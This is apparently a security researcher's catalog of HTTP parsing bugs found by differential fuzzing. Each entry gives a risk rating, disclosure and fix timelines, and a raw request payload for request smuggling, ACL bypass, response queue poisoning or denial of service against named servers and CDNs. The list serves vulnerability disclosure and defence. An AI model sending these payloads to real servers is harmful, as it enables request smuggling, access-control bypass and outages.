These are the bugs we've found using the HTTP Garden. If you find some of your own, please submit a PR to add them to this list! Each bug is described with the following fields:
- Use case: The type of attack an attacker can execute with this bug
- Requirements: Required configuration options or other servers in order for this bug to be exploited.
- Risk: None|Low|Medium|High, followed by a short explanation.
- None: The bug is likely not exploitable.
- Low: The bug might be exploitable, but it requires a really weird config or would rely on a proxy behaving in a way that I've never seen.
- Medium: The bug is likely exploitable, but has only moderate impact or requires an unlikely server/transducer combination.
- High: The bug is exploitable in common configurations and server/transducer combinations.
- Payload: An example payload that triggers the bug
- Affected programs: A list of servers in which this bug is present, along with report and patch timelines. Since some implementation bugs are common, and this keeps them from cluttering the list :)
These are bugs in the way servers accept and interpret requests.
- The Python
int
constructor is used to parse chunk-sizes, so0x
,_
,+
, and-
are misinterpreted.
- Use case: Request smuggling
- Requirements: A transducer that interprets chunk-sizes as their longest valid prefix, but forwards them as-is.
- Risk: Medium. See transducer bug 7.
- Payload:
GET / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: chunked\r\n\r\n0_2e\r\n\r\nGET / HTTP/1.1\r\nHost: a\r\nContent-Length: 5\r\n\r\n0\r\n\r\n
- Affected programs:
- AIOHTTP:
- August 1, 2023: Reported via GH security advisory.
- October 7, 2023: Fixed in release 3.8.6.
- November 13, 2023: Assigned CVE-2023-47627.
- Gunicorn:
- Tornado:
- August 2, 2023: Reported via GH security advisory.
- August 10, 2023: Fixed in commit.
- AIOHTTP:
\x00
,\r
, or\n
are incorrectly permitted in header values.
- Use case: Request smuggling
- Requirements: A transducer that forwards these bytes in header values, or accepts and forwards
\n
as a header line terminator. - Risk: High. See transducer bugs 10, 12, and 16.
- Payload:
GET / HTTP/1.1\r\nHost: a\r\nHeader: v\n\x00\ralue\r\n\r\n
- Affected programs:
- AIOHTTP:
- August 1, 2023: Reported via GH security advisory.
- October 7, 2023: Fixed in release 3.8.6.
- Gunicorn:
- January 31, 2024: Reported via GH issue.
- January 31, 2024: Remains unfixed.
- Tornado:
- August 11, 2023: Reported via GH issue.
- January 31, 2024: Remains unfixed.
- AIOHTTP:
- Whitespace is incorrectly stripped from the ends of header names.
- Use case: Request smuggling
- Requirements: A transducer that considers whitespace before the
:
to be part of the header name. - Risk: Low. I'm not aware of any vulnerable transducers, but James Kettle says that at least one exists.
- Payload:
GET / HTTP/1.1\r\nHost: whatever\r\nContent-Length : 34\r\n\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n
- Affected programs:
- AIOHTTP:
- August 2, 2023: Reported via GH security advisory.
- October 7, 2023: Fixed in release 3.8.6.
- Cheroot:
- February 4, 2024: Reported via GH issue.
- February 4, 2024: Remains unfixed.
- OpenLiteSpeed:
- July 31, 2023: Reported via email.
- August 10, 2023: Fixed in OLS 1.7.18.
- August 14, 2023: Assigned CVE-2023-40518.
- AIOHTTP:
- Whitespace is incorrectly stripped from the beginning of the first header name.
- Use case: Request smuggling
- Requirements: A transducer that considers whitespace at the beginning of the first header name to be part of the header name.
- Risk: Low. I'm not aware of any vulnerable transducers.
- Payload:
GET / HTTP/1.1\r\n\tContent-Length: 1\r\n\r\nX
- Affected programs:
- AIOHTTP:
- August 20, 2023: Reported via GH security advisory comment.
- October 7, 2023: Fixed in release 3.8.6.
- AIOHTTP:
- HTTP versions are interpreted as their longest valid prefix.
- Use case: ???
- Requirements: N/A
- Risk: None
- Payload:
GET /test HTTP/1.32\r\n\r\n
- Affected programs:
- HTTP methods are interpreted as their longest valid prefix.
- Use case: ACL bypass
- Requirements: A transducer that forwards invalid method names as-is.
- Risk: Medium. Explanation omitted because the corresponding bugs are not yet reported.
- Payload:
G=":<>(e),[T];?" /get HTTP/1.1\r\n\r\n
- Affected programs:
- URIs are not validated whatsoever.
- Use case: ???
- Requirements: N/A
- Risk: None
- Payload:
GET ! HTTP/1.1\r\n\r\n
- Affected programs:
- Some non-ASCII bytes are incorrectly permitted in header names.
- Use case: ???
- Requirements: N/A
- Risk: None
- Payload:
GET / HTTP/1.1\r\n\xefoo: bar\r\n\r\n
- Affected programs:
\n
is allowed as separating whitespace in a request line.
- Use case: Request smuggling
- Requirements: A transducer that forwards HTTP/0.9 requests with bare
\n
as-is, and reuses the underlying connection. - Risk: Low. I'm not aware of any vulnerable transducers.
- Payload:
GET /\nHTTP/1.1\r\n\r\n
- Affected programs:
- AIOHTTP:
- October 17, 2023: Reported via PR.
- October 18, 2023: Fixed via merge.
- AIOHTTP:
- The Python
int
constructor is used to parseContent-Length
values, so_
,+
, and-
are misinterpreted.
- Use case: Request smuggling
- Requirements: A transducer that interprets
Content-Length
values as their longest valid prefix, but forwards them as-is. - Risk: Low. I'm not aware of any vulnerable transducers, but Matt Grenfeldt says that at least one exists.
- Payload:
GET / HTTP/1.1\r\nHost: a\r\nContent-Length: +1_0\r\n\r\n0123456789
- Affected programs:
- AIOHTTP:
- August 1, 2023: Reported via GH security advisory.
- October 7, 2023: Fixed in release 3.8.6.
- CPython http.server:
- Tornado:
- August 2, 2023: Reported via GH security advisory.
- August 10, 2023: Fixed in commit.
- Werkzeug:
- June 1, 2023: Reported via GH issue.
- June 7, 2023: Fixed in commit 88c5c78.
- AIOHTTP:
- Requests containing multiple
Transfer-Encoding: chunked
headers are accepted and treated as having no message body.
- Use case: Request smuggling
- Requirements: A transducer that forwards requests containing multiple
Transfer-Encoding
headers. - Risk: High. See transducer bug 28.
- Payload:
POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n
- Affected programs:
- Tornado:
- October 7, 2023: Reported via GH security advisory.
- June 6, 2024: Fixed in release of security advisory.
- Tornado:
\xa0
and\x85
are stripped from the beginnings and ends of header values.
- Use case: Request smuggling
- Requirements: A transducer that forwards unknown
Transfer-Encoding
values and treats them as distinct fromchunked
. - Risk: Medium. See transducer bug 18.
- Payload:
POST / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: \xa0chunked\xa0\r\n\r\n0\r\n\r\n
- Affected programs:
- Tornado:
- February 4, 2024: Reported via GH security advisory comment.
- February 4, 2024: Remains unfixed.
- Tornado:
\r
is treated as a line terminator in header field lines.
- Use case: Request smuggling
- Requirements: A transducer that forwards
\r
in header names. - Risk: High. See transducer bug 10.
- Payload:
GET / HTTP/1.1\r\nVisible: :/\rSmuggled: :)\r\n\r\n
- Affected programs:
- CPython http.server:
- January 31, 2024: Reported via GH issue.
- January 31, 2024: Remains unfixed.
- Mongoose:
- July 7, 2023: Reported via GH issue.
- July 9, 2023: Fixed in commit 6957c37.
- CPython http.server:
- Disallowed ASCII characters are incorrectly permitted in header names.
- Use case: ???
- Requirements: N/A
- Risk: None
- Payload:
GET / HTTP/1.1\r\n\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f "(),/;<=>?@[/]{}: whatever\r\n\r\n
- Affected programs:
- Daphne:
- Mongoose:
- Tornado:
- August 11, 2023: Reported via GH issue.
- January 31, 2024: Remains unfixed. OpenLiteSpeed:
- July 31, 2023: Reported via email.
- August 10, 2023: Fixed in OLS 1.7.18.
- HTTP versions are not validated.
- Use case: ???
- Requirements: N/A
- Risk: None
- Payload:
GET / HTTP/\r\r1.1\r\n\r\n
- Affected programs:
- Empty
Content-Length
values are treated as though they were0
.
- Use case: Request smuggling
- Requirements: A transducer that interprets empty
Content-Length
values as anything other than 0. - Risk: Low. I'm not aware of any such transducer.
- Payload:
GET / HTTP/1.1\r\nHost: whatever\r\nContent-Length: \r\n\r\n
- Affected programs:
- Go net/http:
- Lighttpd:
- August 1, 2023: Reported via issue tracker.
- August 3, 2023: Fixed in commit.
- OpenLiteSpeed:
- July 31, 2023: Reported via email.
- August 10, 2023: Fixed in OLS 1.7.18.
- Empty chunk-sizes are treated as though they were
0
.
- Use case: Request smuggling
- Requirements: A transducer that accepts and forwards extra
\r\n
s between chunks. - Risk: Low. I'm not aware of any such transducer.
- Payload:
GET / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: chunked\r\n\r\n\r\n\r\n
- Affected programs:
- Empty header names are erroneously accepted.
- Use case: Request smuggling
- Requirements: A transducer that accepts and forwards
\r\n:\r\n
, and treats it as the end of the header block. - Risk: Low. I'm not aware of any such transducer.
- Payload:
GET / HTTP/1.1\r\n: ignored\r\nHost: whatever\r\n\r\n
- Affected programs:
- Go net/http:
- Gunicorn:
- Node.js:
- Tornado:
- October 13, 2023: Reported via GH issue comment.
- October 15, 2023: Remains unfixed.
- All non-
\r\n
whitespace sequences are stripped from the beginnings of header values (after the:
).
- Use case: Request smuggling
- Requirements: A transducer that accepts and forwards bare
\n
line endings in field lines. - Risk: Medium. See transducer bug 16.
- Payload:
GET / HTTP/1.1\r\nHost: a\r\nUseless:\n\nGET / HTTP/1.1\r\n\r\n
- Affected programs:
- Gunicorn:
- June 2, 2023: Reported via email.
- January 31, 2024: Reported via GH issue.
- January 31, 2024: Remains unfixed.
- Gunicorn:
\xa0
and\x85
bytes are stripped from the ends of header names, before the:
.
- Use case: Request smuggling
- Requirements: A transducer that accepts and forwards
\xa0
or\x85
in header names. - Risk: Medium. See transducer bug 6.
- Payload:
GET / HTTP/1.1\r\nHost: a\r\nContent-Length\x85: 10\r\n\r\n0123456789
- Affected programs:
- Gunicorn:
- June 27, 2023: Reported via email.
- December 25, 2023: Fixed in commit.
- Gunicorn:
,chunked
is treated as an encoding distinct fromchunked
.
- Use case: Request smuggling
- Requirements: A transducer that forwards the
Transfer-Encoding
value,chunked
as-is, and interprets it as equivalent tochunked
. - Risk: High. See transducer bug 9.
- Payload:
GET / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: ,chunked\r\nContent-Length: 5\r\n\r\n0\r\n\r\n
- Affected programs:
- Invalid chunk-sizes are interpreted as their longest valid prefix.
- Use case: Request smuggling
- Requirements: A transducer that accepts and forwards invalidly-prefixed chunk-sizes (e.g. with
0x
prefix). - Risk: High. See transducer bugs 2 and 19.
- Payload:
GET / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: chunked\r\n\r\n0_2e\r\n\r\nGET / HTTP/1.1\r\nHost: a\r\nContent-Length: 5\r\n\r\n0\r\n\r\n
- Affected programs:
- Requests with multiple conflicting
Content-Length
headers are accepted, prioritizing the first.
- Use case: Request smuggling
- Requirements: A transducer that accepts and forwards requests with 2
Content-Length
headers, prioritizing the last. - Risk: Medium. See transducer bug 22.
- Payload:
GET / HTTP/1.1\r\nHost: a\r\nContent-Length: 1\r\nContent-Length: 0\r\n\r\nZ
- Affected programs:
- 8-bit integer overflow in HTTP version numbers.
- Use case: ???
- Requirements: N/A
- Risk: None
- Payload:
GET / HTTP/4294967295.255\r\n\r\n
- Affected programs:
- Libevent:
- January 17, 2024: Submitted PR.
- January 18, 2024: Fixed in merge.
- Libevent:
- Chunk-sizes are parsed using
strtoll(,,16)
, so0x
,+
, and-
prefixes are erroneously accepted.
- Use case: Request smuggling
- Requirements: A transducer that interprets chunk-sizes as their longest valid prefix, but forwards them as-is.
- Risk: Medium. See transducer bug 2.
- Payload:
GET / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n
- Affected programs:
- Libevent:
- January 18, 2024: Submitted PR.
- February 18, 2024: Fixed in merge.
- OpenLiteSpeed:
- August 2, 2023: Reported via email.
- August 11, 2023: Fixed in OLS 1.7.18.
- Libevent:
- Negative
Content-Length
headers can be used to force the server into an infinite busy loop.
- Use case: DoS
- Requirements: None.
- Risk: High. This bug is trivial to exploit.
- Payload:
GET / HTTP/1.1\r\nHost: a\r\nContent-Length: -48\r\n\r\n
- Affected programs:
- Mongoose:
- April 27, 2023: Reported via email.
- May 16-18, 2023: Fixed in commits 4663090, 926959a, and 2669991.
- Assigned CVE-2023-34188.
- Mongoose:
- The HTTP header block is truncated upon receipt of a header with no name or value.
- Use case: Request smuggling
- Requirements: A transducer that forwards empty header names.
- Risk: Medium. See bonus bonus bug 2.
- Payload:
GET / HTTP/1.1\r\n:\r\nI: am chopped off\r\n\r\n
- Affected programs:
- Mongoose:
- June 26, 2023: Reported via GH issue.
- June 29, 2023: Fixed in commit 415bbf2.
- Mongoose:
- Header names can be separated from values on space alone; no
:
required.
- Use case: Request smuggling
- Requirements: A transducer that forwards header lines that don't contain a
:
. - Risk: Medium. See transducer bug 14.
- Payload:
GET / HTTP/1.1\r\nContent-Length 10\r\n\r\n0123456789
- Affected programs:
- Mongoose:
- July 7, 2023: Reported via GH issue.
- July 7, 2023: Fixed in commit 5dff282.
- Mongoose:
- Invalid
Content-Length
headers are interpreted as equivalent to their longest valid prefix.
- Use case: Request smuggling
- Requirements: A transducer that forwards
Content-Length
values with invalid prefixes (e.g.0x
or+
) - Risk: High. See transducer bug 1.
- Payload:
GET / HTTP/1.1\r\nContent-Length: 1Z\r\n\r\nZ
- Affected programs:
- The header block can be incorrectly terminated on
\r\n\rX
, whereX
can be any byte.
- Use case: ???
- Requirements: A transducer that forwards header names beginning with
\r
, or allows\r
as line-folding start-of-line whitespace. - Risk: Low. I'm not aware of such a transducer.
- Payload:
GET / HTTP/1.1\r\nHost: a\r\n\rZGET /evil: HTTP/1.1\r\nHost: a\r\n\r\n
- Affected programs:
- Node.js:
- July 7, 2023: Reported via HackerOne report.
- July 31, 2023: Fixed in llhttp commit.
- September 16, 2023: Fixed in Node commit.
- Node.js:
- Chunk lines are incorrectly terminated on
\rX
, whereX
can be any byte.
- Use case: Request smuggling.
- Requirements: A transducer that forwards
\r
within the optional whitespace in a chunk-ext. - Risk: High. See transducer bug 3.
- Payload:
GET / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: chunked\r\n\r\n5\r\r;ABCD\r\n34\r\nE\r\n0\r\n\r\nGET / HTTP/1.1\r\nHost: a\r\nContent-Length: 5\r\n\r\n0\r\n\r\n
- Affected programs:
- Node.js:
- July 9, 2023: Reported via HackerOne comment.
- July 31, 2023: Fixed in llhttp commit.
- September 16, 2023: Fixed in Node commit.
- Node.js:
Content-Length
headers are interpreted withstrtoll(,,0)
, so leading0
,+
,-
, and0x
are misinterpreted.
- Use case: Request smuggling
- Requirements: A transducer that forwards leading
0
s inContent-Length
values, which is permitted by the standard. - Risk: High. This is exploitable against standards-compliant transducers.
- Payload:
GET / HTTP/1.1\r\nHost: whatever\r\nContent-Length: 010\r\n\r\n01234567
- Affected programs:
- OpenLiteSpeed:
- July 31, 2023: Reported via email.
- August 10, 2023: Fixed in OLS 1.7.18.
- OpenLiteSpeed:
- Requests with multiple conflicting
Content-Length
headers are accepted, prioritizing the last.
- Use case: Request smuggling
- Requirements: A transducer that accepts and forwards requests with 2
Content-Length
headers, prioritizing the first. - Risk: Low. I'm not aware of any such transducer, but the existence of one seems extremely likely.
- Payload:
GET / HTTP/1.1\r\nHost: a\r\nContent-Length: 0\r\nContent-Length: 1\r\n\r\nZ
- Affected programs:
- FastHTTP:
- February 4, 2024: Reported via email.
- February 11, 2024: Fixed in commit.
- FastHTTP:
\r
is permitted in header values.
- Use case: ???
- Requirements: A transducer that misinterprets and forwards
\r
in header values. - Risk: Low. I'm not aware of any such transducer.
- Payload:
GET / HTTP/1.1\r\nHost: whatever\r\nHeader: va\rlue\r\n\r\n
- Affected programs:
- OpenLiteSpeed:
- July 31, 2023: Reported via email.
- August 10, 2023: Fixed in OLS 1.7.18.
- OpenLiteSpeed:
- Header values are truncated at
\x00
.
- Use case: ACL bypass
- Requirements: A transducer that forwards
\x00
in header values. - Risk: Medium. See transducer bug 12.
- Payload:
GET / HTTP/1.1\r\nHost: whatever\r\nTest: test\x00THESE BYTES GET DROPPED\r\nConnection: close\r\n\r\n
- Affected programs:
- OpenLiteSpeed:
- November 3, 2023: Reported via email.
- July 10, 2024: Fixed on or before this date.
- Libevent:
- January 29, 2024: Reported via GH security advisory.
- January 31, 2024: Remains unfixed.
- OpenLiteSpeed:
- Carriage returns are forwarded within the optional whitespace following the semicolon in a chunk extension.
- Use case: Request smuggling
- Requirements: A server that treats
\r\r
as equivalent to\r\n
in this location. - Risk: High. See server bug 31.
- Payload:
POST /abc HTTP/1.1\r\nTransfer-Encoding: chunked\r\nHost: h2o.http-garden.us\r\n\r\n41;a=b\r\rXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\r\n0\r\n\r\nGET /bad_path/pwned HTTP/1.1\r\nHost: a\r\nContent-Length: 412\r\n\r\n0\r\n\r\nGET /def HTTP/1.1\r\nHost: h2o.http-garden.us\r\n\r\n
- Affected programs:
- Akamai CDN:
- December 3, 2023: Reported via email.
- July 10, 2024: Fixed on or before this date.
- Akamai CDN:
- Header names can be continued across lines.
- Use case: request smuggling.
- Requirements: A transducer that forwards header lines that don't contain a
:
. - Risk: Medium. See transducer bug 14.
- Payload:
POST / HTTP/1.1\r\nHost: whatever\r\nTransfer-\r\nEncoding: chunked\r\nContent-Length: 5\r\n\r\n0\r\n\r\n
- Affected programs:
- Passenger:
- November 6, 2023: Reported via email.
- January 22, 2024: Fixed in release.
- Passenger:
- Empty
Content-Length
in requests are interpreted as ``read until timeout occurs."
- Use case: Request smuggling
- Requirements: A transducer that accepts and forwards empty
Content-Length
header values, and treats them as equivalent to 0. - Risk: Medium. See transducer bugs 5 and 11.
- Payload:
GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: \r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n
- Affected programs:
- Puma:
- June 16, 2023: Reported via email.
- August 17, 2023: Fixed in Puma 6.3.1 and 5.6.7. See advisory.
- Puma:
- Chunked message bodies are terminated on
\r\nXX
, whereXX
can be any two bytes.
- Use case: Request smuggling
- Requirements: A transducer that preserves trailer fields and does not add whitespace between the
:
and value within trailer fields. (ATS is one such server) - Risk: High. The requirements to exploit this bug do not require the transducer to violate the standards.
- Payload:
GET / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\nX:POST / HTTP/1.1\r\n\r\n
- Affected programs:
- Puma:
- July 31, 2023: Reported via email.
- August 17, 2023: Fixed in Puma 6.3.1 and 5.6.7. See advisory.
- Assigned CVE-2023-40175.
- Puma:
- HTTP methods and versions are not validated.
- Use case: ???
- Requirements: N/A
- Risk: None.
- Payload:
\x00 / HTTP/............0596.7407.\r\n\r\n
- Affected programs:
- Waitress:
- October 17, 2023: Submitted PR.
- February 4, 2024: Fixed in merge of PR.
- Waitress:
\xa0
and\x85
are stripped from the beginnings and ends of header values, except for theTransfer-Encoding
header.
- Use case: Header value ACL bypass
- Requirements: A transducer that accepts and forwards
\xa0
and\x85
in place. - Risk: Medium. The standard allows transducers to forward obs-text in header values.
- Payload:
GET /login HTTP/1.1\r\nHost: a\r\nUser: \x85admin\xa0\r\n\r\n
- Affected programs:
- Empty
Content-Length
values are interpreted as equivalent to0
, and prioritized over any subsequentContent-Length
values.
- Use case: Request smuggling
- Requirements: A transducer that forwards empty
Content-Length
values before nonempty ones, and interprets the nonempty ones. - Risk: High. See transducer bug 11.
- Payload:
GET / HTTP/1.1\r\nContent-Length: \r\nContent-Length: 43\r\n\r\nPOST /evil HTTP/1.1\r\nContent-Length: 18\r\n\r\nGET / HTTP/1.1\r\n\r\n
- Affected programs:
\x00
is stripped from the ends of header values.
- Use case: ACL bypass
- Requirements: A transducer that forwards
\x00
in header values. - Risk: Medium. See transducer bug 12.
- Payload:
GET / HTTP/1.1\r\nEvil: evil\x00\r\n\r\n
- Affected programs:
- All unknown transfer codings are treated as equivalent to
chunked
.
- Use case: Request smuggling
- Requirements: A transducer that forwards Transfer-Encodings other than
identity
andchunked
. This is allowed by the standard. - Risk: High. This allows for request smuggling against some standards-compliant transducers.
- Payload:
POST / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: blegh\r\n\r\n1\r\nZ\r\n0\r\n\r\n
- Affected programs:
- FastHTTP:
- February 4, 2024: Reported via email.
- February 11, 2024: Fixed in commit.
- FastHTTP:
- Connections are closed prematurely when an invalid request is pipelined after a valid request.
- Use case: ???
- Requirements: None.
- Risk: None.
- Payload:
GET / HTTP/1.1\r\nConnection: close\r\n\r\nInvalid\r\n\r\n
- Affected programs:
- Mongoose:
- Uvicorn:
- January 29, 2024: Reported via GH discussion comment.
- February 6, 2024: Inadvertently fixed in commit.
- Bytes greater than
\x80
are stripped from the beginnings and ends of header values.
- Use case: Host of troubles.
- Requirements: A transducer that forwards Host headers containing bytes greater than
\x80
. - Risk: Medium.
- Payload:
POST / HTTP/1.1\r\nHost: \xffa\xff\r\nTransfer-Encoding: \xffchunked\xff\r\n\r\n1\r\nZ\r\n0\r\n\r\n
- Affected programs:
- Bun:
- February 13, 2024: Reported via GH issue.
- February 13, 2024: Remains unfixed.
- Bun:
- When an invalid chunk is received, the connection isn't closed, and the start of the next message is placed after the first
\r\n
following the invalid chunk.
- Use case: Response queue poisoning.
- Requirements: A transducer that forwards invalid chunks.
- Risk: Medium.
- Payload:
POST / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: chunked\r\n\r\nINVALID!!!\r\nGET / HTTP/1.1\r\nHost: whatever\r\n\r\n
- Affected programs:
- Cheroot:
- February 14, 2024: Reported via GH issue.
- February 14, 2024: Remains unfixed.
- Cheroot:
- Pipelined requests in the initial request buffer are interpreted as the message body of the first request in the buffer, even if it has a
Content-Length: 0
header.
- Use case: Request smuggling
- Requirements: A transducer that doesn't change incoming stream element boundaries.
- Risk: Low. I am not aware of any such transducer
- Payload:
POST / HTTP/1.1\r\nContent-Length: 0\r\nConnection:keep-alive\r\nHost: a\r\nid: 0\r\n\r\nPOST / HTTP/1.1\r\nHost: a\r\nid: 1\r\nContent-Length: 34\r\n\r\n
GET / HTTP/1.1\r\nHost: a\r\nid: 2\r\n\r\n
- Affected programs:
- Puma:
- February 2, 2024: Reported via email.
- February 2, 2024: Fixed in commit.
- Puma:
These are bugs in the way transducers interpret, normalize, and forward requests.
0x
-prefixedContent-Length
values are incorrectly accepted and forwarded, without validation of the message body.
- Use case: Request smuggling
- Requirements: A server that either interprets
Content-Length
as its longest valid prefix, or interprets0x
-prefixedContent-Length
. - Risk: Medium. See servers bugs 10, 29, and 32.
- Payload:
POST / HTTP/1.1\r\nHost: akamai.my-domain.cool\r\nContent-Length: 0x10\r\n\r\nZ
- Affected programs:
- Akamai CDN:
- September 7, 2023: Reported via email.
- November 27, 2023: Notified of fix via email.
- Akamai CDN:
- Invalid chunk-size values are incorrectly accepted and forwarded.
- Use case: Request smuggling
- Requirements: An HTTP/1.1 backend server
- Risk: High. This bug was exploitable for request smuggling against arbitrary backends.
- Payload:
POST / HTTP/1.1\r\nHost: akamai.my-domain.cool\r\nTransfer-Encoding: chunked\r\n\r\nZ\r\nZZ\r\nZZZ\r\n\r\n
- Affected programs:
- Akamai CDN:
- September 7, 2023: Reported via email.
- November 27, 2023: Notified of fix via email.
- Akamai CDN:
\r
is incorrectly permitted in chunk-ext whitespace before the;
.
- Use case: Request smuggling
- Requirements: A server that misinterprets
\r
in this location. - Risk: High. See server bug 31.
- Payload:
POST / HTTP/1.1\r\nHost: server.my-domain.cool\r\nTransfer-Encoding: chunked\r\n\r\n2\r\r;a\r\n02\r\n41\r\n0\r\n\r\nGET /bad_path/pwned HTTP/1.1\r\nHost: a\r\nContent-Length: 430\r\n\r\n0\r\n\r\nGET / HTTP/1.1\r\nHost: server.my-domain.cool\r\n\r\n
- Affected programs:
- Akamai CDN:
- September 7, 2023: Reported via email.
- November 27, 2023: Notified of fix via email.
- Apache Traffic Server:
- Google Cloud Classic Application Load Balancer:
- September 13, 2023: Reported via Google IssueTracker.
- January 30, 2024: Fixed on or before this date.
- Akamai CDN:
- Messages containing invalid chunks are forwarded without their message bodies.
- Use case: ???
- Requirements: N/A
- Risk: None.
- Payload:
POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r0\n
- Affected programs:
- Empty
Content-Length
headers are incorrectly forwarded.
- Use case: Request smuggling
- Requirements: A server that interprets empty
Content-Length
values as anything other than 0 - Risk: Medium. See server bug 38.
- Payload:
GET / HTTP/1.1\r\nhost: whatever\r\ncontent-length: \r\n\r\n
- Affected programs:
- Disallowed bytes are accepted and forwarded within header names.
- Use case: Request smuggling
- Requirements: A server that misinterprets these invalid bytes within header names.
- Risk: Medium. See server bug 41.
- Payload:
GET / HTTP/1.1\r\nHost: fanout\r\nHeader\x85: value\r\n\r\n
- Affected programs:
- Chunk-sizes are interpreted as their longest valid prefix, and re-emitted.
- Use case: Request smuggling
- Requirements: A server that interprets
0_
or0x
prefixes on chunk-sizes. - Risk: High. See server bugs 1, and 25, and transducer bug 19.
- Payload:
POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1these-bytes-never-get-validated\r\nZ\r\n0\r\n\r\n
- Affected programs:
- Placeholder :)
Transfer-Encoding: ,chunked
headers are forwarded intact, and interpreted as equivalent tochunked
.
- Use case: Request smuggling
- Requirements: A server that both ignores unknown
Transfer-Encoding
s and treats,chunked
as distinct fromchunked
. - Risk: High. See server bug 21.
- Payload:
POST / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: ,chunked\r\n\r\n0\r\n\r\n
- Affected programs:
- Azure CDN:
- October 15, 2023: Reported via MSRC vulnerability report.
- November 29, 2023: Fixed on or before this date.
- December 12, 2023: "this case does not meet the bar for servicing by MSRC as HTTP smuggling is not consider a vulnerability and we will be closing this case."
- nghttpx:
- October 14, 2023: Reported via email.
- October 17, 2023: Fixed in PR.
- Azure CDN:
\r
is incorrectly forwarded in header values.
- Use case: Request smuggling
- Requirements: A server that treats
\r
as equivalent to\r\n
within header fields. - Risk: Medium. See server bug 13.
- Payload:
GET / HTTP/1.1\r\nInvalid-Header: this\rvalue\ris\rinvalid\r\n\r\n
- Google Cloud Classic Application Load Balancer:
- September 7, 2023: Reported via Google IssueTracker.
- January 30, 2024: Fixed on or before this date.
- Empty
Content-Length
headers are incorrectly forwarded, even in the presence of otherContent-Length
headers, as long as the emptyContent-Length
header comes first.
- Use case: Request smuggling
- Requirements: A server that interprets empty
Content-Length
values as 0 and accepts multipleContent-Length
headers in incoming requests, prioritizing the first. - Risk: Medium. See server bug 42.
- Payload:
GET / HTTP/1.1\r\nhost: whatever\r\ncontent-length: \r\ncontent-length: 59\r\n\r\nPOST /evil HTTP/1.1\r\nhost: whatever\r\ncontent-length: 34\r\n\r\nGET / HTTP/1.1\r\nhost: whatever\r\n\r\n
- Affected programs:
- HAProxy:
- August 2, 2023: Reported via GH issue.
- August 9, 2023: Fixed in commit.
- August 10, 2023: Assigned CVE-2023-40225.
- HAProxy:
\x00
is forwarded in header values.
- Use case: ACL bypass
- Requirements: A server that truncates header values at
\x00
. - Risk: Medium. See server bugs 35 and 43, and transducer bug 20.
- Payload:
GET / HTTP/1.1\r\nHost: google.com\x00.kallus.org\r\n\r\n
- Affected programs:
- HAProxy:
- September 19, 2023: Reported via email.
- January 31, 2024: Fixed in commit.
- OpenLiteSpeed:
- November 3, 2023: Reported via email.
- July 10, 2024: Fixed on or before this date.
- HAProxy:
- Bare
\n
is accepted as a chunk line terminator.
- Use case: ???
- Requirements: N/A
- Risk: None
- Payload:
GET / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\na\r\n0123456789\n0\r\n\r\n
- Affected programs:
- Field lines with no
:
are forwarded as-is.
- Use case: Request smuggling
- Requirements: A backend server that misinterprets header field lines with no
:
. - Risk: Medium. See transducer bugs 28 and 37.
- Payload:
GET / HTTP/1.1\r\nHost: whatever\r\nTe\nst: test\r\nConnection: close\r\n\r\n
- Affected programs:
- OpenLiteSpeed:
- November 3, 2023: Reported via email.
- July 10, 2024: Fixed on or before this date.
- OpenLiteSpeed:
- Requests containing both
Content-Length
andTransfer-Encoding
headers are forwarded as-is if theTransfer-Encoding
value is unrecognized.
- Use case: Request smuggling
- Requirements: A backend server that treats
,chunked
as equivalent tochunked
, and prioritizesTransfer-Encoding
overContent-Length
. These behaviors are allowed by the standards. - Risk: High. This allows request smuggling to standards-compliant servers.
- Payload:
GET / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: ,chunked\r\nContent-Length: 5\r\nConnection: close\r\n\r\n0r\n\r\n
- Affected programs:
\n
is not normalized to\r\n
in forwarded messages.
- Use case: Request smuggling
- Requirements: A backend server that does not interpret
\n
as a line ending in header lines. The standard allows servers to translate\n
to - Risk: High. This bug is exploitable against standards-compliant servers.
- Payload:
GET / HTTP/1.1\nHost: whatever\nConnection: close\n\n
- Affected programs:
- OpenLiteSpeed:
- November 3, 2023: Reported via email.
- January 31, 2024: Remains unfixed.
- OpenLiteSpeed:
- Chunked message bodies containing an extra
\r\n
before the terminator chunk are un-chunked without replacing theTransfer-Encoding
header withContent-Length
.
- Use case: Request smuggling
- Requirements: None.
- Risk: High. This bug is exploitable against arbitrary backend servers.
- Payload:
POST / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: chunked\r\n\r\n17\r\n0\r\n\r\nGET / HTTP/1.1\r\n\r\n\r\n\r\n0\r\n\r\n
- Affected programs:
- OpenLiteSpeed
- November 30, 2023: Reported via email.
- July 10, 2024: Fixed on or before this date.
- OpenLiteSpeed
Transfer-Encoding: ,chunked
headers are forwarded intact, and are not interpreted as equivalent tochunked
.
- Use case: Request smuggling
- Requirements: A server that interprets
,chunked
as equivalent tochunked
, which the standard says you MAY do. - Risk: High. This is a request smuggling vulnerability that is usable against standards-compliant backends.
- Payload:
GET / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: ,chunked\r\nContent-Length: 5\r\n\r\n0\r\n\r\n
- Affected programs:
- OpenBSD relayd:
